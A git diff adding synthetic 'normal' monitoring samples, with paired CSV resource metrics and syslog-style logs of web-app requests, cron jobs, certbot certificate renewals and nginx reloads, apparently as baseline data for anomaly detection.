certbot[9877]: INFO Renewing certificate for example.com. +Aug 22 10:03:45 certbot[9877]: INFO Certificate renewal successful. +Aug 22 10:03:50 certbot[9877]: INFO Reloading nginx service. +Aug 22 10:03:55 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Aug 22 10:05:50 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:07:05 systemd[1]: Starting daily clean up activities... \ No newline at end of file diff --git a/norm_dataset/scenario_5/norm_5_38.csv b/norm_dataset/scenario_5/norm_5_38.csv new file mode 100644 index 0000000000000000000000000000000000000000..c9ba4809f9bbb60da0295ebe2bae9f241b3aa735 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_38.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,10.99,45.19,23.13,1.29,0.9 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+2025-08-22T10:06:45Z,10.71,43.37,19.7,1.3,0.79 +2025-08-22T10:06:50Z,12.96,44.85,10.0,1.17,0.4 +2025-08-22T10:06:55Z,8.96,45.68,14.88,0.97,0.78 +2025-08-22T10:07:00Z,8.38,45.55,18.74,1.0,0.54 +2025-08-22T10:07:05Z,9.0,46.65,13.76,0.8,0.93 +2025-08-22T10:07:10Z,11.83,45.03,28.16,1.0,0.87 +2025-08-22T10:07:15Z,10.66,47.91,12.85,0.94,0.61 +2025-08-22T10:07:20Z,8.94,44.47,17.8,1.06,0.7 +2025-08-22T10:07:25Z,11.03,50.0,20.65,0.83,0.59 diff --git a/norm_dataset/scenario_5/norm_5_38.log b/norm_dataset/scenario_5/norm_5_38.log new file mode 100644 index 0000000000000000000000000000000000000000..bba440417ed4cffa0d9e48f2f134fc001ceba907 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_38.log @@ -0,0 +1,24 @@ +Aug 22 10:00:00 web-app[1456]: GET /api/v1/health status=200 OK +Aug 22 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:20 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:01:40 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:01:45 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:02:05 web-app[1456]: GET /api/v1/user/99 status=200 OK +Aug 22 10:02:10 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:02:15 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:02:30 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:02:50 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:03:00 CRON[8899]: (root) CMD (certbot renew --quiet --deploy-hook 'systemctl reload nginx') +Aug 22 10:03:05 certbot[9012]: INFO: Renewing certificate for example.com. +Aug 22 10:03:20 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:03:25 certbot[9012]: INFO: Certificate renewal successful. +Aug 22 10:03:30 certbot[9012]: INFO: Reloading nginx service. +Aug 22 10:03:31 nginx[1122]: INFO: [notice] 1122#1122: signal 1 (SIGHUP) received, reloading configuration +Aug 22 10:03:40 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:04:35 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:04:40 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:40 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:06:40 web-app[1456]: GET /api/v1/health status=200 OK +Aug 22 10:06:45 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 22 10:07:10 web-app[1456]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_39.csv b/norm_dataset/scenario_5/norm_5_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..2cec3d83a9f887d69dc1592516b96a76f9cb8f9b --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,15.14,44.15,26.49,0.8,0.91 +2025-08-22T10:00:05Z,14.91,44.21,24.1,1.18,0.75 +2025-08-22T10:00:10Z,15.48,44.77,28.32,1.06,1.12 +2025-08-22T10:00:15Z,14.73,44.75,24.63,0.94,0.82 +2025-08-22T10:00:20Z,11.68,45.11,23.11,1.21,0.85 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+2025-08-22T10:07:05Z,15.01,46.35,26.02,1.02,0.42 +2025-08-22T10:07:10Z,13.57,41.99,21.17,0.85,0.85 +2025-08-22T10:07:15Z,17.0,46.11,26.22,0.97,0.66 +2025-08-22T10:07:20Z,15.06,46.27,28.38,0.92,0.92 +2025-08-22T10:07:25Z,15.34,42.46,28.03,1.07,0.5 diff --git a/norm_dataset/scenario_5/norm_5_39.log b/norm_dataset/scenario_5/norm_5_39.log new file mode 100644 index 0000000000000000000000000000000000000000..bffb8e1416f1a77cd3de1c126b291df88371848c --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_39.log @@ -0,0 +1,14 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:20 certbot[6789]: INFO: Renewing certificate for example.com. +Aug 22 10:03:25 certbot[6789]: INFO: Certificate renewal successful. +Aug 22 10:03:30 certbot[6789]: INFO: Reloading nginx service. +Aug 22 10:03:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:06:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_5/norm_5_4.csv b/norm_dataset/scenario_5/norm_5_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..3461b230f30936351dc99b3cdd383d8fd1dd564d --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-05T02:00:00Z,16.8,43.36,28.62,0.82,0.85 +2025-07-05T02:00:05Z,18.28,45.66,24.23,1.11,1.11 +2025-07-05T02:00:10Z,18.02,45.85,29.19,1.03,1.01 +2025-07-05T02:00:15Z,15.7,44.56,35.05,1.06,1.06 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+2025-07-05T02:07:00Z,14.94,46.48,26.93,1.05,1.04 +2025-07-05T02:07:05Z,13.6,43.97,45.21,1.3,0.85 +2025-07-05T02:07:10Z,12.52,46.87,29.89,1.37,0.98 +2025-07-05T02:07:15Z,12.61,46.73,29.87,1.08,0.83 +2025-07-05T02:07:20Z,15.19,45.75,32.39,1.2,0.69 +2025-07-05T02:07:25Z,14.54,43.8,31.08,1.16,0.92 diff --git a/norm_dataset/scenario_5/norm_5_4.log b/norm_dataset/scenario_5/norm_5_4.log new file mode 100644 index 0000000000000000000000000000000000000000..bdbf42b4d0aff7e88d3221e4e41733ed374afd4c --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_4.log @@ -0,0 +1,19 @@ +Jul 05 02:00:00 systemd[1003]: Starting daily clean up activities... +Jul 05 02:00:00 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:00:50 systemd[1003]: Starting daily clean up activities... +Jul 05 02:01:05 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:01:40 systemd[1003]: Starting daily clean up activities... +Jul 05 02:02:10 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:02:30 systemd[1003]: Starting daily clean up activities... +Jul 05 02:03:15 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:03:20 systemd[1003]: Starting daily clean up activities... +Jul 05 02:03:20 certbot[8292]: INFO Renewing certificate for example.com +Jul 05 02:03:30 certbot[8292]: INFO Certificate renewal successful. +Jul 05 02:03:35 certbot[8292]: INFO Reloading nginx service. +Jul 05 02:04:10 systemd[1003]: Starting daily clean up activities... +Jul 05 02:04:20 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:05:00 systemd[1003]: Starting daily clean up activities... +Jul 05 02:05:25 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:05:50 systemd[1003]: Starting daily clean up activities... +Jul 05 02:06:30 CRON[8048]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 02:06:40 systemd[1003]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_5/norm_5_40.csv b/norm_dataset/scenario_5/norm_5_40.csv new file mode 100644 index 0000000000000000000000000000000000000000..67b10e09ed31ebf8276bc353bc04df87c530ad81 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_40.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T10:00:00Z,14.68,40.02,27.19,0.98,1.05 +2025-08-10T10:00:05Z,11.11,41.87,21.47,1.01,0.96 +2025-08-10T10:00:10Z,11.57,44.4,20.07,1.05,0.71 +2025-08-10T10:00:15Z,12.99,40.09,26.98,1.03,0.81 +2025-08-10T10:00:20Z,10.31,42.49,25.67,0.84,1.07 +2025-08-10T10:00:25Z,10.12,42.58,29.95,0.9,0.77 +2025-08-10T10:00:30Z,12.91,44.07,26.73,0.88,0.74 +2025-08-10T10:00:35Z,14.37,40.04,27.2,0.93,0.74 +2025-08-10T10:00:40Z,12.44,44.71,27.77,1.18,0.83 +2025-08-10T10:00:45Z,14.3,44.92,25.18,1.11,0.86 +2025-08-10T10:00:50Z,11.88,43.49,26.02,0.84,0.81 +2025-08-10T10:00:55Z,12.0,43.11,21.83,0.82,0.83 +2025-08-10T10:01:00Z,11.92,42.63,25.33,0.93,0.71 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+2025-08-10T10:06:05Z,14.91,42.97,20.9,0.83,0.93 +2025-08-10T10:06:10Z,11.53,41.65,28.99,1.0,0.93 +2025-08-10T10:06:15Z,11.82,43.23,26.44,1.06,0.77 +2025-08-10T10:06:20Z,12.47,40.41,27.94,0.86,1.04 +2025-08-10T10:06:25Z,13.96,42.73,27.2,0.97,1.07 +2025-08-10T10:06:30Z,10.76,41.61,21.06,1.02,1.03 +2025-08-10T10:06:35Z,12.73,44.93,25.8,1.0,0.99 +2025-08-10T10:06:40Z,13.05,41.63,24.45,1.09,0.9 +2025-08-10T10:06:45Z,14.19,42.32,27.33,1.05,0.9 +2025-08-10T10:06:50Z,11.65,44.04,24.6,1.19,0.75 +2025-08-10T10:06:55Z,14.4,43.06,27.54,1.02,1.1 +2025-08-10T10:07:00Z,14.06,43.75,22.81,1.19,1.04 +2025-08-10T10:07:05Z,12.36,42.07,27.59,0.94,0.82 +2025-08-10T10:07:10Z,14.23,40.21,22.05,0.81,1.02 +2025-08-10T10:07:15Z,13.39,41.13,29.1,1.16,1.0 +2025-08-10T10:07:20Z,13.99,42.11,29.84,0.81,0.72 +2025-08-10T10:07:25Z,10.51,40.58,27.89,1.03,1.07 diff --git a/norm_dataset/scenario_5/norm_5_40.log b/norm_dataset/scenario_5/norm_5_40.log new file mode 100644 index 0000000000000000000000000000000000000000..6ec9cdca1cdaa32f96d8c309873e57c1823be116 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_40.log @@ -0,0 +1,27 @@ +Aug 10 10:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 10 10:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 10 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 10 10:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 10 10:01:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 10 10:01:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 10 10:01:55 systemd[1]: Starting daily clean up activities... +Aug 10 10:02:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 10 10:02:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 10 10:02:50 systemd[1]: Starting daily clean up activities... +Aug 10 10:03:10 CRON[6543]: (root) CMD (certbot renew --quiet) +Aug 10 10:03:20 certbot[6545]: INFO: Renewing certificate for example.com. +Aug 10 10:03:35 certbot[6545]: INFO: Certificate renewal successful. +Aug 10 10:03:40 certbot[6545]: INFO: Reloading nginx service. +Aug 10 10:03:42 systemd[1]: Reloaded nginx.service - A high performance web server and a reverse proxy server. +Aug 10 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 10 10:04:25 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:04:50 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 10 10:05:15 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 10 10:05:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:06:05 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 10 10:06:30 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 10 10:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 10 10:07:20 web-app[1234]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_41.csv b/norm_dataset/scenario_5/norm_5_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..fecfb90c708129882ebb3122b0eae74372eed7a8 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22 10:00:00+00:00,14.286554194160157,42.38934979600465,30.970995664724672,0.9618599271932968,1.1486430888550538 +2025-08-22 10:00:05+00:00,17.192156493213542,43.24746028349987,39.152362695915755,0.9519924089977994,0.7097021752494077 +2025-08-22 10:00:10+00:00,14.38648563172251,46.920396557558206,27.916696556935378,1.1496904832814954,0.9146323893575123 +2025-08-22 10:00:15+00:00,18.445469619667648,50.45459472523624,28.112391984874037,1.104652252239268,0.6970313949307687 +2025-08-22 10:00:20+00:00,16.896160164135587,45.130721211788924,17.555570888751493,1.0379646388661508,0.46197502535878204 +2025-08-22 10:00:25+00:00,15.779844469533584,41.294712266474136,24.62755093371569,0.9134870614838881,0.7835206164665242 +2025-08-22 10:00:30+00:00,14.718821489199403,49.93476139598842,34.4611928744045,1.2699127619382728,0.898489820446581 +2025-08-22 10:00:35+00:00,16.203331627918594,44.56990888023641,26.35208932251759,0.9911901090507272,1.0553768355435045 +2025-08-22 10:00:40+00:00,15.042651959888238,43.53101002829889,36.03036404816872,0.8838174628282919,0.8494648275055964 +2025-08-22 10:00:45+00:00,16.49295533367821,44.90909303742177,31.17723418041962,1.0556545349972022,0.4522410186207819 +2025-08-22 10:00:50+00:00,16.957947725292893,40.13901751623862,36.24071234246926,1.1790816690819215,0.814836872478784 +2025-08-22 10:00:55+00:00,13.398482838150763,44.421162460224366,16.420016477010122,1.126730024694263,0.6382897584315005 +2025-08-22 10:01:00+00:00,12.93066015918531,48.49331035726624,29.532355091002557,1.127902349741122,1.0965916276126626 +2025-08-22 10:01:05+00:00,12.237278201080107,46.676824149838076,27.743611166135718,1.022994128425855,0.8386438747554168 +2025-08-22 10:01:10+00:00,15.058503839785082,46.20077183466027,31.15928223752426,1.0779895386704106,0.7043251499392963 +2025-08-22 10:01:15+00:00,14.394336477197593,48.94768113008606,30.809365817122774,1.0409950337279672,0.6098037345700624 +2025-08-22 10:01:20+00:00,18.68139789882566,45.760863010964464,28.60353300098205,1.1212220733587028,0.8686801815079992 +2025-08-22 10:01:25+00:00,15.481810837129798,45.69498599787001,23.67131621188246,1.0707888571485005,0.7709988619403465 +2025-08-22 10:01:30+00:00,12.626497103567418,48.64114210878089,32.77956027747564,0.8329289286743807,0.6352959152965336 +2025-08-22 10:01:35+00:00,15.160162987486256,48.12942585337543,36.995192447345595,1.0621408342072496,0.8715871994796981 +2025-08-22 10:01:40+00:00,16.160855116431282,48.389711699064385,28.691438931200864,0.6738563085652036,0.9376489871135999 +2025-08-22 10:01:45+00:00,14.640496999619518,42.024764451977006,25.040588799213467,1.2792246611201814,0.6038286938754975 +2025-08-22 10:01:50+00:00,15.113081235000232,39.6009489967276,26.12432916686652,1.013210879935878,0.966163538448647 +2025-08-22 10:01:55+00:00,17.73340780823845,40.53021376777906,21.561831903092767,0.578034124110103,0.9570094541754172 +2025-08-22 10:02:00+00:00,15.57488853343153,43.08953392171984,40.04776413505696,0.9199493568101155,0.9764532458064094 +2025-08-22 10:02:05+00:00,12.70809665612445,46.863597939216625,32.90707351130846,0.8772868134138512,0.7072299158702803 +2025-08-22 10:02:10+00:00,15.57634990810375,48.074507270520726,30.16712756718343,1.0986374980749898,0.8917478388308075 +2025-08-22 10:02:15+00:00,14.627279735468859,46.367176584340996,30.22702610868089,0.9465798013127246,1.0630636547919303 +2025-08-22 10:02:20+00:00,14.916262887712913,44.59883552059379,30.07054617903666,1.186974897160882,0.4557971268284061 +2025-08-22 10:02:25+00:00,13.341532666156219,43.82552579520954,34.977148441345726,1.1162946530017392,0.9586094481587872 +2025-08-22 10:02:30+00:00,12.972933661163655,47.13602313604642,33.3116897174972,0.7694798845004547,1.1423589581109082 +2025-08-22 10:02:35+00:00,14.741358611591819,44.14497025653472,27.312991216430206,0.8019512204890656,1.0263308293190478 +2025-08-22 10:02:40+00:00,12.945227006538122,38.880539898011094,28.648296566449943,0.6015601514783016,1.1931284471511838 +2025-08-22 10:02:45+00:00,14.685157294193472,44.268684052205586,26.060249705272536,0.9843592078484857,0.9724272471284029 +2025-08-22 10:02:50+00:00,14.880493141781441,43.2070239298471,27.619802101758633,1.5525717746294907,0.28667187648737413 +2025-08-22 10:02:55+00:00,14.362688078141426,46.34400328426304,27.905902832786463,0.8859835991008866,0.8800275079250888 +2025-08-22 10:03:00+00:00,14.400115158287031,45.621933378077635,31.212425516453504,0.5962924404954867,0.6565568247142912 +2025-08-22 10:03:05+00:00,14.463151616089732,47.541747831239874,28.771252501083886,0.9655755596327248,0.31849524633438686 +2025-08-22 10:03:10+00:00,14.789445182333413,46.19986752952645,39.85332159817574,1.3515937842719694,1.0677753823636242 +2025-08-22 10:03:15+00:00,16.341033027329164,48.69653488486304,32.9874158440257,1.0848614003953432,0.5427151138477859 +2025-08-22 10:03:20+00:00,16.721389262950343,44.06670075872114,27.726772197531837,1.3117750569974715,0.9420247903837182 +2025-08-22 10:03:25+00:00,18.462808813243978,42.34760066853589,32.17597707942865,1.0495164372447612,0.7219551572625543 +2025-08-22 10:03:30+00:00,13.010228448141095,47.53416293364026,35.12295591940431,0.8986959038427585,1.0870811557161337 +2025-08-22 10:03:35+00:00,46.71854976571459,42.44465142662675,25.190533499263932,6.321609054998532,6.347573476161905 +2025-08-22 10:03:40+00:00,45.98725453828047,48.42470929202169,35.80656178506473,5.745952596730296,3.553863554797701 +2025-08-22 10:03:45+00:00,50.515741739289524,48.86846715488882,36.185273168210635,6.676344443237747,6.545798177847253 +2025-08-22 10:03:50+00:00,47.852086255294964,51.02862431494552,35.09252805419887,6.833818946682575,5.056737511482379 +2025-08-22 10:03:55+00:00,40.61383165085522,47.51738629313627,24.740333934207083,5.238052589354545,5.284566810599221 +2025-08-22 10:04:00+00:00,15.994619011909727,39.94945179800471,26.09745874954139,0.9453649665265449,0.5314140482172262 +2025-08-22 10:04:05+00:00,13.542739985250874,44.746555129123344,27.80857592181471,0.9830974019039567,0.8059303437278693 +2025-08-22 10:04:10+00:00,19.188623996560924,46.51169128332373,31.38269748567519,1.0239275290372873,0.90837659897849 +2025-08-22 10:04:15+00:00,13.206221203975014,41.96379089502666,28.845217512287793,1.284456079612435,1.0122208910487633 +2025-08-22 10:04:20+00:00,15.145347947499294,49.677282363880465,41.76926916660925,0.8133550691643106,0.6733377450698945 +2025-08-22 10:04:25+00:00,16.83448676881471,40.82084043115245,28.987627130156344,0.9073144755744231,0.9109568759703943 +2025-08-22 10:04:30+00:00,16.23987300004897,42.11950986985258,29.207402954274905,1.306458119791258,0.5734349304413067 +2025-08-22 10:04:35+00:00,11.930398194813861,43.88255485757929,26.94060388300514,0.9936355547726332,1.0934581187613437 +2025-08-22 10:04:40+00:00,12.220699887975053,41.94784775593636,26.508432893149056,0.840083196601152,0.8759123498311535 +2025-08-22 10:04:45+00:00,14.474943882738282,43.87737999041084,26.149854403044117,0.8406695977117465,0.506582051347929 +2025-08-22 10:04:50+00:00,17.966395914558557,44.510364327122204,30.781076351225288,1.0807748375852835,0.7846430805863699 +2025-08-22 10:04:55+00:00,14.778943575166018,38.29761823726591,26.446256513248148,1.1263118026335512,0.9748007166314161 +2025-08-22 10:05:00+00:00,16.518216296900725,47.001191133222356,29.03809477767107,1.0717772691616712,0.7112539173596774 +2025-08-22 10:05:05+00:00,17.4023247810601,49.18764310535691,23.740127375850584,0.9174980273703339,0.77553662418798 +2025-08-22 10:05:10+00:00,15.115303730269131,48.21862679358863,32.56796431756818,1.05144897786313,0.7916205833007002 +2025-08-22 10:05:15+00:00,16.84929969595087,43.20210678176812,34.492361838446676,0.9860662624826007,0.9438108897854718 +2025-08-22 10:05:20+00:00,11.923826722615278,49.37003631838425,27.3460679770105,1.0085666033664498,0.9652543939308708 +2025-08-22 10:05:25+00:00,12.48627617298114,49.490365871400236,23.415473580993023,0.8439463081969736,0.6587493813723224 +2025-08-22 10:05:30+00:00,13.982212434859937,47.02060125965984,33.350827456536024,1.3222717426151065,0.612114587586312 +2025-08-22 10:05:35+00:00,15.505730189569379,48.02006469435097,40.446629410302144,0.9720018147719777,0.9514637347639157 +2025-08-22 10:05:40+00:00,15.647557050367437,50.437052267423944,31.96857536736897,0.8795071535244429,0.9489122576487771 +2025-08-22 10:05:45+00:00,13.6472324360844,43.15812802033132,26.68020048102979,1.1258079227390214,0.8613438288020389 +2025-08-22 10:05:50+00:00,11.413670161596055,47.30043260325882,24.955147015805846,0.6746937914147091,0.877680058632966 +2025-08-22 10:05:55+00:00,17.627663144174633,44.482221717762435,25.77892545673667,0.3058249682528458,0.9137022794951496 +2025-08-22 10:06:00+00:00,13.906071702516117,43.436572282977,32.10138305568682,0.958881698330303,1.0031471099131446 +2025-08-22 10:06:05+00:00,15.38319432267765,44.37471466832605,26.653290180674563,1.0274839298387108,0.705693645967299 +2025-08-22 10:06:10+00:00,13.506367943790828,46.32877533366841,26.618831833213505,1.096989761523396,0.9949323063404474 +2025-08-22 10:06:15+00:00,14.597090304559428,45.43389419491834,28.702152701342847,1.1178006022576519,1.2866748658408391 +2025-08-22 10:06:20+00:00,15.635225969481072,43.856622696412444,28.61487600192377,0.8831306639105099,0.38581088452246637 +2025-08-22 10:06:25+00:00,16.100573036476572,43.64284590926122,37.688808228264456,0.5704096108836587,1.1071923166167708 +2025-08-22 10:06:30+00:00,14.698287866979612,45.60980463481743,24.5791526138857,0.7689134866526678,0.9254292924446097 +2025-08-22 10:06:35+00:00,17.10723574349001,41.14251267399094,30.586511113255963,0.7731511452106707,0.8365386005195454 +2025-08-22 10:06:40+00:00,17.3085727572328,42.476421151225416,36.68106274580688,1.319872689464487,1.1286371941991162 +2025-08-22 10:06:45+00:00,17.055670164737666,43.136191312684865,32.77601912243924,1.022772746077552,0.7897063187681708 +2025-08-22 10:06:50+00:00,16.700342978235774,46.521388870870474,30.036306152299705,0.632156415645647,0.8470762756101895 +2025-08-22 10:06:55+00:00,13.439794277987373,43.20233462878183,24.122465492415426,1.1086147847536567,0.9559966985358673 +2025-08-22 10:07:00+00:00,17.34033726263387,47.137588237680376,25.923191513979653,0.9554240984271668,0.917636720920226 +2025-08-22 10:07:05+00:00,12.063882420642415,48.16024305880575,30.325779811359638,1.2222301054586202,0.8872610852469045 +2025-08-22 10:07:10+00:00,15.647423668028566,47.913197007197375,26.617451039281843,1.1269663068090328,0.46862849015386476 +2025-08-22 10:07:15+00:00,14.125271872258246,45.255092941573906,24.028692114646756,0.41610466092570564,0.8764489735782468 +2025-08-22 10:07:20+00:00,15.60676319302195,43.59191231680439,25.388757376352075,0.9397670869509941,0.6372153870416174 +2025-08-22 10:07:25+00:00,16.84071306571584,43.64641229958628,31.408610976768056,0.7261686298667418,0.5482055107266017 diff --git a/norm_dataset/scenario_5/norm_5_41.log b/norm_dataset/scenario_5/norm_5_41.log new file mode 100644 index 0000000000000000000000000000000000000000..3e7c8af87a6592c967efa1b9b2f8129ce17e845e --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_41.log @@ -0,0 +1,26 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:35 certbot[6789]: INFO: Attempting to renew certificate for example.com +Aug 22 10:03:45 certbot[6789]: INFO: Renewing certificate for example.com. +Aug 22 10:03:55 certbot[6789]: INFO: Certificate renewal successful. +Aug 22 10:03:55 certbot[6789]: INFO: Reloading nginx service. +Aug 22 10:04:00 nginx[1122]: INFO: Service reloaded successfully. +Aug 22 10:04:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:07:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:00 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_42.csv b/norm_dataset/scenario_5/norm_5_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..6d942157ff140a4f4a0a3b79ea1a95caf100f04f --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_42.csv @@ -0,0 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systemd[1]: Reloaded nginx.service. +Aug 22 09:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 09:05:50 systemd[1]: Starting daily clean up activities... +Aug 22 09:07:05 CRON[3499]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/norm_dataset/scenario_5/norm_5_43.csv b/norm_dataset/scenario_5/norm_5_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..592ff3066d9287c8f112518a27cc385bb874991a --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.68,37.23,23.15,1.22,0.74 +2025-08-22T10:00:05Z,10.12,40.82,28.74,1.14,1.22 +2025-08-22T10:00:10Z,11.88,38.99,23.83,1.2,0.74 +2025-08-22T10:00:15Z,11.42,39.12,23.46,1.17,1.07 +2025-08-22T10:00:20Z,14.14,37.98,21.79,0.96,1.07 +2025-08-22T10:00:25Z,12.32,36.85,29.37,0.9,1.23 +2025-08-22T10:00:30Z,14.37,42.17,23.27,0.97,0.98 +2025-08-22T10:00:35Z,10.25,38.77,26.84,1.0,1.3 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+2025-08-22T10:07:20Z,12.55,40.02,21.15,1.5,1.2 +2025-08-22T10:07:25Z,11.48,42.97,27.38,0.83,1.25 diff --git a/norm_dataset/scenario_5/norm_5_43.log b/norm_dataset/scenario_5/norm_5_43.log new file mode 100644 index 0000000000000000000000000000000000000000..bf986af6527fa403395d495f3d42f90d74ac6ced --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_43.log @@ -0,0 +1,18 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:05 sshd[6789]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 22 10:01:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:01:35 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:15 sshd[6789]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:05 sshd[6789]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 22 10:03:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:03:20 sshd[6789]: Accepted publickey for 